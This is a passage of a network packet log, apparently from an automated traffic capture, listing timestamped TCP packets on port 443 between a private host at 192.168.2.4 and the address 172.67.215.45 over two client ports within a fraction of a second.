May 1, 2024 08:37:51.952244043 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.952250004 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.953012943 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.953042030 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.953066111 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.953077078 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.953077078 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.953083038 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.953113079 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.953135967 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.953165054 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.953165054 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.953171015 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.953996897 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.954046965 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.954070091 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.954093933 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.954116106 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.954118967 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.954118967 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.954124928 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.954166889 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.954168081 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.954889059 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.954951048 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.954974890 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.954998016 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.955003977 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.955008030 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.955037117 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.955092907 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.955092907 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.955099106 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.955842972 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.955871105 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.955894947 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.955905914 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.955909967 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.955935001 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.956053972 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.956053972 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.956059933 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.956805944 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.956881046 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.956885099 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.975213051 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.975256920 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.975282907 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.975302935 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.975349903 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.975357056 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.975378990 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.975450039 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.975455999 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.975722075 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.975742102 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.975792885 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.975797892 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.975908041 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.976277113 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.976326942 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.976351023 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.976376057 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.976392031 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.976397038 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.976490021 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.977119923 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.977168083 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.977205992 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.977230072 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.977241039 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.977247000 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.977304935 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.977308989 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.978221893 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.978250980 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.978277922 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.978300095 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.978307962 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.978315115 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.978413105 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.979115963 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.979166985 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.979191065 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.979214907 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.979226112 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.979233980 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.979252100 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.980000019 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.980030060 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.980051994 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.980053902 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.980063915 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.980107069 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.980110884 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.980118990 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.980150938 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.980922937 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.980976105 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.980976105 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.980984926 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.981020927 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.981024027 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.981030941 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.981064081 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.982122898 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.982181072 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.046003103 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.046168089 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.046181917 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.046648979 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.046653986 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.046834946 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.046879053 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.046888113 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.046889067 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.046909094 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.046925068 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.046966076 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.046966076 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.046973944 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.047316074 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.047835112 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.047872066 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.047924042 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.047924042 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.047929049 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.047979116 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.048815966 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.048861027 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.048914909 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.048914909 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.048919916 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.049453974 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.049510956 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.049679041 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.050682068 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.050755978 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.050782919 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.050786972 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.051120996 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.051446915 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.051501989 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.051512957 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.051517963 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.051557064 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.052010059 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.052068949 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.052073956 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.052083015 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.052120924 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.052124023 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.052131891 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.052143097 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.052196026 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.052984953 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.053100109 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.069297075 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.069405079 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.069853067 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.069885015 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.069900990 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.069907904 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.069926977 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.070919037 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.070950985 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.070965052 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.070971012 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.071007967 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.071759939 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.071814060 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.071822882 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.071826935 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.071851969 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.073292017 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.073338032 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.073343992 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.073359013 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.073398113 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.073401928 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.074240923 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.074270010 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.074290991 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.074297905 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.074321985 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.075082064 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.075131893 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.075136900 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.075150013 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.075185061 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.075187922 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.076348066 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.076375008 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.076397896 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.076404095 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.076430082 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.076921940 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.076970100 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.076975107 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.076992989 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.077038050 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.077043056 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.122560024 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.122704983 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.122725964 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.126207113 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.141164064 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.141300917 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.141352892 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.141354084 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.141371965 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.141746998 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.141808987 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.141814947 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.141846895 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.141855001 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.141874075 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.141921043 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.142616034 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.142685890 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.142690897 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.142728090 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.142786980 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.142786980 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.142791986 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.143508911 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.143582106 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.143591881 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.143614054 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.143641949 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.143646955 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.143661976 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.144087076 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.144196987 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.144226074 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.144236088 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.144273043 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.145049095 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.145137072 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.145142078 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.145155907 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.145215988 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.145215988 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.145220995 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.146023035 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.146101952 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.146109104 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.146135092 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.146167040 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.146922112 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.146997929 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.147001982 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.147026062 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.147069931 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.147069931 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.147074938 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.147460938 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.147507906 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.147538900 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.147542953 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.147578001 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.148277998 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.148312092 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.148370028 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.148370028 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.148375988 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.149239063 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.149302006 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.149306059 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.149383068 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.150674105 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.150718927 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.150741100 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.150744915 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.150787115 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.151710987 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.151729107 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.151773930 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.151777983 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.151818991 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.153531075 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.153549910 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.153589964 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.153595924 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.153641939 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.155452013 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.155464888 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.155544996 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.155544996 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.155555964 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.157479048 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.157496929 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.157548904 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.157553911 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.157588005 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.158508062 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.158523083 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.158577919 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.158584118 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.160341024 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.160363913 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.160396099 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.160402060 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.160466909 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.162163019 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.162178040 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.162256002 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.162256002 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.162262917 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.163477898 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.163542032 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.164114952 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.164144039 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.164154053 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.164167881 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.164182901 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.164666891 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.164705992 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.164711952 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.164753914 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.165558100 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.165607929 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.165946960 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.165976048 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.165997028 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.166002989 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.166013002 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.166953087 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.166999102 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.167001009 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.167007923 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.167042017 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.167917013 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.167949915 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.167968988 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.167974949 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.167995930 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.168715954 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.168761015 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.168766975 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.169369936 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.169596910 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.169645071 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.169980049 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.170010090 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.170032024 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.170036077 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.170048952 CEST	49750	443	192.168.2.4	172.67.215.45
